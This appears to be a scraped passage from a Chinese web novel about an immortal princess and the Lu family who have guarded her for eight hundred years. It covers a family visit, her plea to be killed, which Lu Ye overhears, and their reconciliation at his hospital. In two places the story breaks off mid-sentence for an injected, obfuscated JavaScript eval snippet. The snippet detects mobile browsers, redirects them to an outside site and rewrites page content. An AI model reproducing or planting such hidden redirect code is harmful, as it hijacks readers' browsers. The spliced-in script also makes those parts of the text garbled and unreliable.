云清婉看着邮件下方正中红心的猜测心生了无奈之情。 如果要历史留名,要么是立下为国为民的丰功伟绩,要么是留下登峰造极的文艺作品,而不是一堆茶余饭后的狗血八卦。 裴逸之名垂青史是因为雄才大略,而她被后世谈论就只能停留在那点被男人背叛的闺中密事、 她若是成了堆白骨,管他后世人如何评说,奈何桥一过,孟婆汤一喝又是一条好汉。 可她还活着,这些评价是真真切切进了她耳朵里的。 真是吐血三升还无处说理。 云清婉关掉邮件越想越觉得好笑,待哪天去地府了真要跟裴逸之来场八百个回合的大战讨回公道,忽而闻到了刺激着味蕾的阵阵香气。 她当即把这档子八百年前的破事抛之脑后,一个健步冲向了香气的源头。 “阿野,好香啊!” 陆野刚想把她叫进来发挥唯一的作用:尝尝味道,鼻子超灵的小狗狗就不请自来了。 “尝一口看看咸淡。”陆野从热气腾腾的锅里挑了一块牛肉,吹了吹气送到了她的嘴边示意她张嘴说:“啊~” 云清婉“嗷”一口吞下,“吧唧吧唧”咀嚼起来,幸福在唇齿间蔓延。 “好吃!超好吃!阿野怎么能这么厉害啊。” 陆野看着她这心满意足的样子觉得八岁都说多了,最多五岁。 不过可爱是真的可爱,让人忍不住想要把心掏出来给她的可爱。 傲娇的时候像猫猫,乖巧的时候像狗狗,迫不及待等着开饭的时候像水獭,懒懒散散的时候像考拉,气鼓鼓的时候又像充了气的河豚。 总之无论任何时候都可爱得没办法。 明明是绝不能喜欢上的人,可偏偏每与她在一起多一秒,就会多喜欢她一分。 无处可逃。 ------- 就两个人陆野还做了五菜一汤,从上桌后云清婉的嘴巴就没停过。 每一道菜都是色香味俱全,是她心心念念的味道,吃一口能让人感觉此时此刻还在呼吸是件多么美妙的事情。 她吃到最后连站都站不起来了,陆野只能去给她弄了点消食片。 陆野看着瘫坐在沙发上一直揉着肚子的人哭笑不得:“都说了吃不下就别吃了,你还一个劲吃。” 云清婉也有理由的:“那你做的饭当然要吃完了啊。” “你什么时候想吃我都能给你做。” “哪有,陆医生这么忙。” “给公主做饭是我的指责,这点时间还是能挤出来的。” 做完吃完还得收拾,陆野一刻都没有歇息,马不停蹄又开始忙活了起来。 云清婉从沙发上艰难撑起身说:“你放着我来收拾吧,总要做点贡献的。” 却被拒绝了:“不用,你休息一会儿,哪有让公主洗碗的道理。” “还有公主我没干过的事情吗?” 这八百多年来只有陆野想不到,没有她没做过的事情,更别说是区区洗碗了。 后来还是陆野用一句“你洗我不放心”的绝杀打消了她想要出一份力的念头。 两人一通收拾,差不多下午两点多才出发去栖子堂,知道她要回来陆启明早早就在等了。 “启明,怎么又瘦了。”云清婉下车看到陆启明比之前愈发清瘦的身影,担忧地问了声。 陆启明这几年身体也不如从前硬朗了,小毛病不断,陆野一直在帮着调理。 “有吗?没什么区别吧,公主不用担心。”陆启明笑笑接过她手里的东西说。 陆启明也是她看着长大的,和陆野不一样,陆启明打小就是沉稳安静的性格,说话做事和小大人一样,会毕恭毕敬喊“公主”。 后来继承家业成了陆家家主,在背地里统领着一整个帝国。 只有你想不到,没有陆家办不到。 陆家能从一个典当铺成为如今的帝国,皆因没有遮天般强大的实力,想要保全一个不会超能力的永生者太难了。 “我身体好着呢,再陪公主二三十年没有问题。”陆启明从她黯然下去的眼眸里读出了讯息,继续说。 “启明......” 云清婉的胸口刺痛,面对终将会到来的离别,她什么都做不了。 只能一次又一次,一次又一次看着划破天际的流星坠落。 陆启明没有再继续这个无解的话题而是说:“陈阿姨在院子里,公主先去看看吧,我和阿野说几句话。” 她点头应声看了眼陆野后往庭院中走去。 栖子唐出自陆思衡之手,名字是云清婉取的,一草一木,一砖一瓦,一花一树都将中式美学发挥到了极致。 院内种满了各色的海棠花,每年谷雨前后都开得繁盛,微风一吹便是簌簌海棠春落雨。 春日时节她看着满院的海棠,偶尔会恍惚梦回好久好久以前。 宫中种满了海棠,花开得明媚,看着花的小公主想着百无聊奈的长日何时才是尽头。 云清婉曾打趣说陆思衡比自己这个古代人还要懂何为古典韵味。若是能生在大祁,肯定是皇宫的总设计师。 陆思衡说栖子唐就是送给她的礼物,她喜欢就好。 云清婉穿过白墙瓦黛,影壁浮雕的回廊到达湖心的凉亭后就见到了坐在长椅上的陈秋芬。 陈秋芬见她过来,脸上泛起了笑容。 她在陈秋芬身旁坐下,看着初见时还是少女如今却已苍苍的脸,还未言语便已喉间哽咽。 明明她还是原来那个她未曾改变,身旁的人却都已换了模样。 “我第一次见公主的时候就想世界上怎么会有这么好看的人,现在依旧这么觉得。”陈秋芬拍拍她的手,细腻温柔的声音一如从前。 “陈阿姨,身体还好吗?”云清婉轻声问。 “比之前是好多了,还是心态最重要。现在把每一天都当成上天的礼物反而觉得充实幸福了。” 癌症晚期已没有了手术的意义,胸口还在起伏的每一分每一秒都是馈赠。 陈秋芬平日里身体允许的时候就喜欢到院子里看看书,望望风景,听听曲儿,也算舒适惬意。 一辈子没有结婚又无儿无女的她对尘世其实并无太多的牵挂,一个被她从小带到大的陆野,一个历经了人世间所有孤独的公主就是她最放不下的人了。 两人在凉亭里坐了一会儿后,云清婉就和陈秋芬在院中一边散步一边天南地北说着话。 初夏带着淡淡香气的微风吹拂在波光粼粼的湖面,激起层层向外扩散的水纹,也吹得繁密的绿叶沙沙作响。 陈秋芬听完她的话,柔声问:“公主想知道裴逸之是如何想的吗?” 云清婉笑着摇摇头:“不想,这么久远的事了,知道了又能如何呢。就是有点气而已,凭什么他名垂青史了,我成了悲情人物。” 事到如今裴逸之是如何想她的,她早就没半点兴趣了。 身不由己的爱过也好,处心积虑的没爱过也好,这点事在八百多年的漫长岁月里不过一片尘埃。 活了八百多年眼里若是还只有情情爱爱未免也太失败了。 把裴逸之这些天出场率突然变高的事情和陈秋芬说也只是说到别处时的随口一提罢了。 “世界上没有什么是非黑即白的,一个人可能同时拥有至善与至恶的两面。裴逸之对公主的感情或许也是如此吧。” 关于裴逸之,陈秋芬一半的认知来自于史书,另一半来自于云清婉的回忆。 作为一个局外人,她并没有任何的立场去评判八百年前的是非对错,只是听了那么多的故事后觉得裴逸之并非无情无义之人。 他的纠结,他的矛盾,他的身不由己和他对公主最赤诚的爱都太明显了。 只是万般皆是命,半点不由人。 “谁知道呢,人都死了八百多年了,又不能把他从坟墓里拖出来问。”云清婉笑笑,打趣着说了句:“况且管他怎么想结果也都是如今这个,有什么区别呢。不过他要是真为了不被打击报复找道士做了法彻底断绝了我成为厉鬼的可能性就另当别论了。” “那如果真的能再次见到他,公主会说什么呢?” 这个问题云清婉其实想过很多很多次,随着时间的流逝,每个阶段她的想法都不尽相同。 一开始只想要他血债血偿,后来恨意稍稍散了去后就想问他为何能做到如此无情,再后来觉得说什么都无所谓了。 大祁都不知道消失多少年了,她跟裴逸之还有什么话能说呢。 云清婉思考了片刻,平静地说出了此时此刻内心最真实的想法:“先狠狠打他一顿后撤回之前的诅咒,再希望他幸福吧。” 世界上没有任何东西能够抵过时间,就更别说是如浮游般渺小人类的那丢丢微不足道的感情了。 能说出生生世世诅咒之话的她确实太天真也太可笑了,她甚至有想过是不是就是因为这话她才死不了的。 若真是如此那也太亏了。 年少无知的一句戏言阎王爷怎么就当真把她从生死簿里除名了呢。 至于希望裴逸之幸福也是发自肺腑的真心实意。 当爱与恨,亏欠与遗憾,悸动与不甘都化为尘烟散尽以后,剩下的就只有真心祝他幸福了。 不过人成骨头架子,轮回都不知道多少趟了,这早就是个没有意义的伪命题了。 “那可得打得重些,让阿野来打。”陈秋芬听完回身望着她笑了。 云清婉不想在裴逸之身上再浪费时间了,便话锋一转说:“啊对了,阿野今天给我做了饭,和陈阿姨你的手艺一模一样,真的好好吃!” “知道你喜欢吃,阿野跟我学了好久呢。” 陈秋芬的手艺两个人吃了很多年,知道云清婉喜欢吃陆野特意跟着陈秋芬学了一段时间。从食材的处理到调味料的配置,烹饪的火候都事无巨细询问了,就为了日后能给她做。 陆家世世代代与云清婉八百多年间的故事陈秋芬略知一二。 陆野的母亲在他刚出生不久就病逝了,正因为如此云清婉才会一直在他身边。 可偏偏就是因为一直在他身边,命运才避无可避,逃无可逃。 老天爷未免也太残忍了。 “公主真的很喜欢阿野呢。”陈秋芬笑着说了句。 云清婉望着被夏风吹得涟漪四起的湖面,眸光复杂没有否认,阿野确实是如今她在这个世界上最喜欢的人了。 所以无论如何她不能让他重蹈覆辙。 而且远卿,八百年了,你该自由了。 ------ 陆启明把陆野一路带到书房,问了些云清婉的事情,叮嘱了几句让他好好照顾。 “阿野,我的身体也不如从前了,陆家和公主之后都得交给你......”话陆启明只说了一半,剩下的一半不用说他也知晓。 陆野应声,脸上并没有展现出太多的情绪:“嗯,知道的。” 他知道等待他的将是接手陆家的产业,与最合适的人结婚然后生下孩子,像祖祖辈辈们一样。 祖祖辈辈都是这么过来的,没什么大不了。 他只是很在意当他拥有先祖们所有的记忆后对待云清婉的感情会变成什么样。 “陆家世世代代的使命就是护公主周全,公主与你一向.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408408|141279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 陆启明的话被陆野在中途打断问了一个一直好奇的问题:“所以陆远卿到底是怎么想她的呢?” 执念有很多种,爱情是执念,亲情是执念,忠诚是执念,恨意也是执念。 陆远卿能够延续八百多年的执念到底是种怎样浓烈的感情。 要到何种地步才能跨越八百多年的时光依旧不渝呢。 陆启明没有说话,太多太多曾经不属于他的,却已深深镌刻在脑海里的,久远到让“久远”一词都显得苍白无力的回忆四散蔓延开来。 而良久的沉默过后,他没有回答陆野的问题,只在没有尽头的迷雾里启唇说: “阿野,你会知道的。” 陆野从他的眼眸里读出了这不是能用任何言语能够去描述的感情,唯有回忆能够窥见一二。 两人相顾无言了半晌,陆启明再次开口:“阿野,公主这八百多年真的太苦太苦了。她比任何人都要在乎你,你玩打火机把房子烧了的那次,火势大到消防员都说不能进了,可公主还是义无反顾冲了进去。她说如果你不在了她活着没有任何意义......” 陆野知道他的意思,是在告诫自己绝不可以做出任何让云清婉难过的事情。 所谓的永生只是不会死加上比普通人恢复得快些,但还是会受伤,还是会疼。 她又是个那么怕疼,一点小伤就会哭鼻子的人。 从火场里出来后自己因为被她一直紧紧护在怀里毫发无损,可她全身上下已经找不出几处完整的皮肤了。 就是在这般生不如死的剧痛下,她还是伸出手摸了摸泣不成声自己的头,笑着安慰说:“阿野,别哭,被你说是爱哭鬼的公主都没哭,男子汉大丈夫哭什么。” 不止这一次,还有很多很多次,明明该是自己保护她,可每每遇到危险时她永远都站在前面。 面对这样的人该有多混蛋才能让她难过呢。 听着陆启明的话,陆野心中的情绪翻涌成了滔天的巨浪,点头说:“我知道的。” 他会把所有万万不可说的情都统统代入坟墓,只求老天爷能让他陪她久一点,再久一点。 最好能也就此永生,他不想成为她眼里的荒芜。 两人正说着,就在此时门外传来了云清婉的敲门声:“阿野,启明,我能进来吗?” 陆启明给陆野使了个颜色后说:“公主请进。” 云清婉进来和先是和陆启明说了几句话,随后转头对陆野说:“阿野,我和启明有话说,你先出去一下。” 都这个年纪了还有“大人说话小孩子不要听”的犯人戏码让陆野面露了不快之色:“有什么话是我听不了的吗?” “不是这个意思......” 云清婉知道他很反感这般的区别对待,但接下来的话是绝不能让他听到的。 “既然不是这个意思,那就让我也一起听。”陆野耸了耸肩,不肯退让。 “阿野......” “所以到底是什么话?还需要这样遮遮掩掩。” 僵持不下间,一旁的陆启明发了话:“阿野,你先出去,我也有话跟公主说。” 少数服从多数,两人合伙起来不想让他听,即便陆野心中郁闷也只能看了云清婉一眼后无奈退了出去,而最后那声哄小孩的“阿野,别生气”反倒让他更气了。 到底要多大的年纪才能不被当成小孩子呢。 确认陆野已经出去后,云清婉先是问了声:“启明,最近有什么新消息吗?” “暂时还没有,之前的那个我让人去看了,就只是个江湖道士敛财的骗术而已。” 八百年来陆家一直派人在世界各处搜寻着有关永生的线索,但凡有一点可能性云清婉都会自己前往探寻,不过都只是泡影罢了。 云清婉垂下眼睫,自嘲般地笑笑说:“可能根本就没有什么解除永生的办法,就是阎王爷把我忘记了吧。” 她的命运如此云清婉已经接受了七七八八,事到如今除了接受也别无他法,大不了就是和宇宙比谁活得久而已。 但她不能接受陆家世世代代也被囚禁在这无尽的深渊里。 如果没有她,陆启明已经成为了一名优秀的外交官,和喜欢的人长相厮守在擅长的领域成就一番事业。 她记得陆启明喜欢的姑娘长了双好看的桃花眼,睫毛弯弯,说着一口流利的英语,举手投足间落落大方,笑起来有两个浅浅的酒窝。 可因为她,两情相悦之人终不得眷属。 陆启明“自愿”和安排的姑娘结了婚,这位艺术世家出身的大家闺秀同样拥有一颗温柔善良的心。 却在陆野出生后没多久就病逝了,还在襁褓中的陆野甚至都没来得及喊一声“妈妈”。 命运到底以何去论公平呢。 她又要怎么做才能去偿还呢。 “启明,对不起。” 云清婉说过太多次对不起,多到她觉得“对不起”本身都成了一种讽刺,但她真的不知道还能说什么。 而她对不起的人太多太多,多到生生世世去偿还也没有能还清的一天了。 陆启明摇摇头,温声说:“公主,不要说对不起。” 有着陆家人世世代代记忆的陆启明比陆野更知道云清婉这一路走来的孤独与痛苦,或许全世界所有的悲伤加起来也不过如此。 的确在被迫放弃外交官的梦想,和喜欢的人有缘无分,只得走上既定道路的时候有过激烈的反抗。 不理解为何生而自由的人要被禁锢在原地,祖祖辈辈如此自己就得如此吗? 但在拥有记忆的瞬间就明白了。 这是他们陆家人来到人世间的使命。 没有永宁公主云清婉就不会有他们,他们注定只会为她而活。 命运早在陆远卿与她在盛开的海棠下初见时便已写好了结局。 “有因必有果,有始必有终,我们会陪公主找到的。” 云清婉沉默着看了会儿书房墙壁上挂着的陆思衡的字没有再说话。 陆思衡写得一手好字,毛笔字有大家之风,硬笔同样赏心悦目。 早些年书信还是主流的时候她收到过很多封陆思衡的信,如今泛黄的每一封都还被她好好保存着。 【古今多少事,都付谈笑中】 墙上挂着的这十个字才是她如今应该面对的东西。 磨好墨,铺好纸,提起笔,陆思衡问她写什么好时,她心中陡然浮现的便是这句。 无言半晌后云清婉才终于开了口:“启明,我有件事想求你,请你务必答应我。” 她已经活了太久太久了,是该有个了结了。 陆启明应声:“公主请讲。” 闭上眼深吸一口气后,云清婉的眼里不再有彷徨与犹豫,缓缓启唇说:“启明,阿野真的很厉害,这个年纪就已经是独当一面的主治医生,能挽救千千万万的生命。他有悬壶济世的理想,之后也会遇到想要相守一生的人,他会有精彩的人生绝不能被我拖累.....” 为了死亡,云清婉尝试过各种各样的办法,但永远都无法给予致命一击。 她能在鬼门关走无数次却无法真正死去。 那扇门明明就在眼前却怎么都打不开。 可求死的方法千千万万,只要一个个试下去,指不定哪天就找到了,要是还能给人类的医学研究做出点贡献就更好了。 她还是太胆小了,若是能早日下定决心,或许早就找到了。 “所以什么都可以,凌迟,腰斩,挖心,用尽一切办法杀了我吧。” 最后一个字的尾音还未落下,门就忽然被推开,陆野径直走到她面前,眸光晦暗深不见底,嗓音颤动不止问: “云清婉,你在说什么?” 6. 第六章 云清婉没料到陆野会突然闯进来,来不及反应,直愣愣僵在了原地。 陆野被赶出来后并没有离开,而是在门口一直听着屋内两人的对话。 在听到云清婉说出方才那话的瞬间心仿佛被人活生生挖出来了一般,疼到没办法呼吸。 自己到底是哪里做得不好才能让她说出那般残忍的话。 凌迟?腰斩?挖心? 她到底在说什么? 自己从头到尾期盼的都只是她能笑着,能在这痛苦的世间拥有哪怕一瞬的慰藉。 没有哪一分哪一秒觉得被她拖累,觉得没有她就能拥有更好的人生,觉得她的存在是枷锁,是禁锢,是桎梏,是束缚。 相反,无时无刻不觉得她能在身边是老天爷唯一的怜悯也是赏赐。 选择走医学的路也是想看看有没有办法从科学的角度解开她身上的秘密,把她真正归还于世间。 所以为什么她要说出那样的话呢? “云清婉,在你心里我是这样的人吗?”陆野把声音压得很低很低,还冒着刺骨的寒气。 “不是的阿野......” 云清婉手足无措,鼻尖一阵酸涩,嫣红的下唇被咬出了一道白痕。 正因为她知道陆野有多在乎她这些话才是绝不能被知晓的。 可除此之外她真的没有办法了。 在极度的心疼与刺痛下,陆野撩了一下头发,晶亮眼眸里的星屑黯然凋零,侧头苦笑出声:“到头来你是这样想我的,觉得我是会为了所谓的自由让你去死的人。” 与她相处这么多年的时间里,是爱情也好,是亲情也好,是别的任何感情也好,她都是这个世界上对自己来说最重要的人。 的确自己有很多地方做得不够,还可以对她好一点,再好一点。 可即便如此她真的就一点不能体会到自己的感情吗? 为什么要说这样的话呢? “阿野,对不起......不是的,我不是这个意思......” 云清婉语无伦次试图解释,眼眶微红,视线朦胧起了雾。 “我哪里做得不好你跟我说,我改,我道歉,你让我怎么样都可以,为什么要说这样的话......” 陆野低垂着头,身体不由自主颤动着,每一个字都像是带着刺的尖刀,一刀刀划在身上宛若凌迟。 喷薄而出的爱意,心疼,自责,懊悔把理智冲得轰然决堤,陆野缓缓抬起头,声音沙哑到像是被碎玻璃扎成了千疮百孔。 “云清婉,你就真的一点都不知道吗?” 云清婉抬眼,面对突如其来的问题难掩错愕。 道不尽的千言万语连同不可言说的情卡在喉间,上不去下不来,想要冲破重围却又被紧紧锁在了原地。 他吞咽了好几次,暗淡的眼眸里凝结出了薄薄的水雾,慢慢扩散成了烟波浩渺。 “我......” “陆野!” 是陆启明在旁的一声厉呵把他的理智拉了回来。 回过神的陆野怔怔松开云清婉的肩膀,恰好此时手机响了。 电话接通,是医院打来的,他冷静地询问了状况后给予了应急处理的指示。 “我得赶回医院一趟。” 陆野挂断电话,又恢复了一如既往的样子,似是刚才那一瞬的游离只是错觉,出门前平静着语气说了句“你今天在这住着,明天早上我来接你”却没有回头。 云清婉来不及应声,他的背影就消失在了视线里。 身体像是被抽空了力气般瘫软了下来,胸口被一团乱麻堵得喘不过气来,指甲死死把手指压出了血痕。 半晌的无言过后,陆启明才开口打破了沉默说:“公主不要在意,我之后会说他几句的。还请千万不要再有这样的想法了。” 云清婉回头,眼底被悲伤侵袭殆尽,声音细碎哽咽:“启明,你恨过我吗?” “怎么会呢,陆家人世世代代期盼的只有公主你能幸福。” 陆启明看着她耳边回荡起了八百多年前她泪眼婆娑,颤抖着紧紧抓住陆远卿的手时所说的话。 “远卿,你要为你自己而活,不要为我。” ------ 云清婉把事情跟陈秋芬说后,陈秋芬满脸心疼摩挲着她的脸说:“公主,这种想法千万不可以再有了。” “可是除此之外我真的没有办法了。” “阿野他比任何人都在乎你,你这样说他该有多难过啊。” “我知道......” 她怎么会不知道呢。 但就是因为知道,她才必须这么做。 “阿野不是小孩子了,他有自己的想法,有珍视的东西,有想要守护的人。” "我知道......我都知道......” 陈秋芬把她拥进怀里,轻拍着她的后背柔声安慰道:“公主,阿野比你想的要坚定得多,就相信他一次好吗?” 把陈秋芬送回房间休息后,云清婉便又在湖心的凉亭坐下了。 八百多年间比繁星还要多的回忆如走马灯般,在湖面上一一铺陈开来。 连贯的,零星的,宏大的,渺小的,关于她的,关于陆远卿的,关于裴逸之的,关于许许多多人的。 没有头绪,杂乱无章。 云清婉想起裴逸之跟她说过几次想送陆远卿出府,她死活不肯,为此还跟裴逸之闹过大脾气。 如今想来简直大错特错。 她记得第一次见陆远卿是个和煦的春日,宫内的海棠花开得灿烂。 父皇带了个清俊的少年到她身边,说从今天起就是她的贴身侍卫,会舍命护她周全。 她歪着脑袋好奇地打量了眼前的瘦高少年一圈后问:“你叫什么名字?” 少年的嗓音清冽,低着头回:“回公主的话,卑职叫陆远卿。” “陆远卿?好好听的名字。”她喃喃重复了一遍,想着是哪几个字后笑着说:“那以后就叫你远卿了。” 父皇说陆远卿只为她而活,待父皇走后她才凑到陆远卿耳边悄悄说:“远卿,你别听我父皇的,你不用为我而活,你要为自己而活。” 少年听完明显愣了一下,狭长冷峻眸子里的雪似是被风吹化了,涌出了清泉。 如今想来都是她的错,明明有无数次机会放手,让陆远卿离开还他自由。 口口声声说着不让他为自己而活,却多次被他舍命救于危难。 仅仅因为舍不得就硬要把他留在身边,最终迎来了这般支离破碎的结局。 快要在一波又一波的回忆里溺亡之时,耳边传来了一声:“公主,茶凉了,换壶新的吧。” 陆启明在她身旁坐下沏了一壶新茶。 她很喜欢坐在这亭子里,望着湖面一言不发一坐就是一下午。 茶凉了一壶又一壶,陆思衡就给她沏了一壶又一壶,后来沏茶的事儿就交给陆启明了。 云清婉接过茶,轻抿了一口,淡淡的清香在唇齿间晕染开来,浅笑着说:“启明,你沏茶的样子和思衡真的一模一样。” 陆思衡和陆野,和陆启明的性格又不大相同。 陆野是不羁,陆启明是沉静,而陆思衡则是温柔,谦谦君子,温润如玉,全身都是带着墨香的书卷气。 满腹经纶,饱读诗书,在建筑方面造诣颇深,如果没有她如今已经是个建筑大家了。 陆思衡大抵是陆家十八代人里与她最契合的那个了,像是有读心术一般,很多时候她什么都不用说,只需要一个眼神,陆思衡便能懂她在想什么。 她望着湖面好几个小时一言不发陆思衡便在一旁看着书,待她想起来要抿一口茶时,茶水永远在最好的温度。 “那时候公主也喜欢在这亭子里一坐就是一下午,没想到这一晃都好多年了。” “可不是么,思衡走了有二十年了吧。” 云清婉伴着每个陆家人走过了他们转瞬即逝的人生,到现在都还记得每个人的性格,喜好,习惯,小动作,趣事。 记得他们如夏花般绚烂又如烟火般短暂的一生。 喝着这口茶,云清婉想起陆思衡弥留之际跟她说的最后一句话是“公主,对不起,谢谢”。 可明明该说“对不起”和“谢谢”的都是自己。 思衡,我曾问过你觉得我活到今天到底是为了什么。 我走了那么远的路,看过那么多的风景,经历过那么多的是是非非和纷纷扰扰,见证了那么多相遇与离别总该有个理由。 神明不会这么无聊随随便便给予一个普普通通的凡人永生。 那是古往今来多少帝王将相梦寐以求,魂牵梦绕的终极,却降临在了我的身上。 它对我的期待会是什么呢。 你说我是神明用来感受世间的化身。 我如今也时常会想起你的话,可是思衡啊,如果我真的是神明的化身,它到底什么时候才能厌倦呢。 我真的太累太累了。 看着她眺望湖面的侧脸,拥有陆思衡记忆的陆启明眼前忽然下起了淅淅沥沥的夏雨。 “思衡,下雨了。” 云清婉从绵长的回忆里抽身说了声。 她起身把手伸出了凉亭,任由雨水落在胳膊上,望着被雾气笼罩,烟波浩渺的湖面。 天地静默间陆思衡清澈到不染尘埃的眸光穿过水雾落在她身上,随后拿出方巾递给她,撑起一把伞轻声道:“公主,下雨了的话回去吧。” “既然是神明的化身,那就不打伞了吧。”她回头笑笑,走进了潇潇雨幕里。 陆启明没有接话,事到如今这份记忆到底属于谁其实早就分不清了。 忽而骤起的一阵夏风吹得云清婉的青丝飘扬,云清婉捋了捋后打趣着说:“对了,阿野总说我喜欢说他小时候如何如何。可不是嘛,我现在也特别想说你小时候如何如何,确实挺让人厌烦的。” “公主,这么多年来阿野真的麻烦你了。” 陆启明那会儿云清婉经常是五六年才回来一次,呆也只会呆上一两个月然后再次远航。 但因为陆野的母亲去世得早,怕陆野会寂寞她呆的时间才久了不少。 陆野对她都不是没大没小的程度了,一天说的话别说九族了,九百九十九族都不够诛的。 自己几乎没有时间管陆野,都是陈秋芬和她照顾的,后来待陆野大了些后她才又再次踏上了航路。 她说要出趟远门的那天,陆野嘴上说着爱哭鼻子的公主要走就走谁稀罕,连送都没去送。 自己把她送到机场以后回来,才看到陆野眼睛都哭肿了问她什么时候才能回来。 云清婉听闻这话,没忍住“噗嗤”笑出了声:“说反了,是我麻烦他了。他今天还说我最多只有八岁,处处需要人照顾,八百多年白活了呢。” “阿野能够被公主这么在乎是他的幸运。”陆启明抿了一口茶淡着声附和道:“我们要是说这话,就是以下犯上的大不敬了。” 这话听着总像是有话外之音,云清婉笑着说:“这么说来启明你也觉得我只有八岁吗?” “八岁也好,八十岁也好,八百岁也好,公主就是公主。” 她是什么样的人八百多年的记忆已经给了回答,并不需要再去下任何定义。 云清婉就是云清婉。 她就是她。 回想起今天陆野也说过同样话的云清婉嘴角绽放了一弯新月:“阿野也说了同样的话,看来我真的给他添了不少麻烦呢。” 陆启明会这么想是因为有着关于她之所以为她的所有记忆,但陆野没有。 陆野就是这么想的,觉得云清婉就是云清婉,她就是她。 对那样在乎她的人她怎么能说出那般的话呢。 是该好好道个歉了。 ------ 陆野刚从手术室出来换好衣服回到办公室就看到了正在认真观察窗台上几盆多肉的云清婉。 “阿野,手术辛苦了。”见了他,云清婉笑眯眯迎了过来。 陆野没想到她会到医院来,诧异地问:“你怎么过来了?” “没什么,就是想过来看看你。” “你是怎么进来的?” 云清婉轻描淡写回答:“我说找心外科的陆医生,护士小姐姐就以为我是你女朋友把我领过来了。” “......” “......” “......” 说得过于自然让陆野不免无语凝噎,如鲠在喉,挂衣服的动作都停在了半空中。 她倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408409|141279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习惯这身份了,用起来得心应手的,也不管之后自己要怎么办。 云清婉等不到明天了,发信息,打电话都远远不够,只能当面说便过来了医院。 再又像平时一般插科打诨了几句后,她低声开口向陆野道了歉:“阿野,对不起,我不该说那样让你难过的话。” 陆野看着眼前耷拉着脑袋和嘴角,像是犯了错等待责罚的孩子一般,心底很不是滋味。 她今天那句话的确让自己又心疼,又生气,又难过,又自责,甚至不知道之后要怎么面对她了。 开车一路往医院狂奔的时候脑子里想的不是病人的事情,满满当当连见缝插针的角落里全是她。 想与她走过的点点滴滴,想要如何才能让她不要再有这般的想法,想怎样对她好一点,再好一点。 喷薄而出的感情就差那么一点点就要控制不住了。 自己要的不是她的道歉,不是对不起,是她能够幸福。 卡在喉间与心口的千言万语最终化成了低沉的一声:“云清婉,你从来就没有相信过我。” 世间总是言语最伤人,伤的也都是最亲近,最在乎你的人。说出去的话哪怕真能收回来,留下的难过也不会少上一分。 云清婉咬着下唇,眼眸里自责与懊悔翻涌,声音细细碎碎带着隐约的沙哑:“阿野,对不起,都是我的问题,我不会再说......” 话说到一半的时候她就被陆野拥进了怀里。 罪魁祸首的她却听到了低低一声:“公主,对不起。” “阿野,是我的问题,你怎么能说对不起。”云清婉伸出手臂环住微微颤抖的人,摩挲着他的后背,觉得自己真是个彻头彻尾的混蛋。 “绝对不可以再有这样的想法,我从来都没有觉得你是拖累。” 云清婉点头应允:“知道了,我发誓以后再也不会了。” 结果换来了一句:“你别发誓,我怕。” 本来她是想为自己岌岌可危的信誉据理力争一下的,但门口的窜动已叫人无法忽视,只得指了指扯着嘴角说:“那个阿野......” 她是正对着办公室的,从刚才起走过路过的人谁都要往里瞅上一眼,现在已经被前来看热闹的医生和护士们围得水泄不通了。 一个个伸长了脖子挂着收不回的姨母笑望着他们,还有个子矮的在后面跟打地鼠一样跳起来又落下去。 他们俨然成了动物园里的猴子,任人随意观赏。 “怪不得陆医生什么美女正眼都不看一眼的,原来是有个仙女女朋友。” “天才外科医就应该配这样的女朋友啊。” “就跟你们说了,这么优秀的人肯定名草有主了,怎么可能还单着?” “我真的快被甜死了,这可比偶像剧好看多了。” “之前不是有小姑娘都追到医院来了吗?陆医生礼物没收但给人查出身体有问题转交给别的科了。” 陆野在云清婉面前虽三两句话里全是插科打诨,玩笑一个接一个,但在医院一直是严肃认真,除了工作闭口不谈私生活的高岭之花形象,背地里都喊他“胸外一枝花”。 由于颜值,身材,能力,工作态度,责任感,有一个算一个全是挑不出毛病的满分,各个科室的主任,甚至连院长都出动要给他介绍对象想把人收到麾下,都被他礼貌回绝了。 到底哪家姑娘能把“胸外一枝花”拿下一直是医院津津乐道的话题。 陆野闻声回头看了眼门口锣鼓喧天,鞭炮齐鸣,红旗招展,人山人海的盛况,两个太阳穴开始隐隐作痛。 忘记是在医院了。 “走吧,去吃饭。” 陆野把东西收拾好,无视掉了四面八方的灼热视线,面不改色带着她从办公室走了出来。 一路上云清婉都跟在身后挂着尴尬而不失礼貌的微笑跟周围人打招呼,到医院门口后担忧地问:“阿野,没关系吗?会不会给你添麻烦啊。” 平时陌生人误会他们是情侣也就误会了,解释起来太麻烦,但被医院的同事们误会还是需要解释一下的。 陆野却不以为然:“有什么关系。” 她还是觉得不妥:“要不要解释一下?” “怎么解释?” “就说是你表姐?”云清婉脱口而出后又改了口:“算了,还是表妹吧。” 她的长相说是表姐可信度不高,这里还是卑躬屈膝暂且当表妹吧。 陆野侧头目光幽深看了一会儿她没有说话。 这是表妹和表姐的问题吗? 她难道觉得在办公室抱表姐表妹比抱女朋友合理吗? 云清婉马上也意识到表姐表妹都不好使了,反正没人认识她她能随时随地当甩手将军,但陆野还得一直在医院里。 这下流言蜚语可得满天飞了。 感觉闯了祸的她低声道了歉:“对不起,是不是不该来找你的?” 陆野嘴上虽然什么都没有说,但刚才下了手术看到她那一瞬间跃然而上的欢喜与心跳不会说谎。 “你瞎道什么歉?又不是一次两次了。” “还不是怕别人问起来你不好回答......” 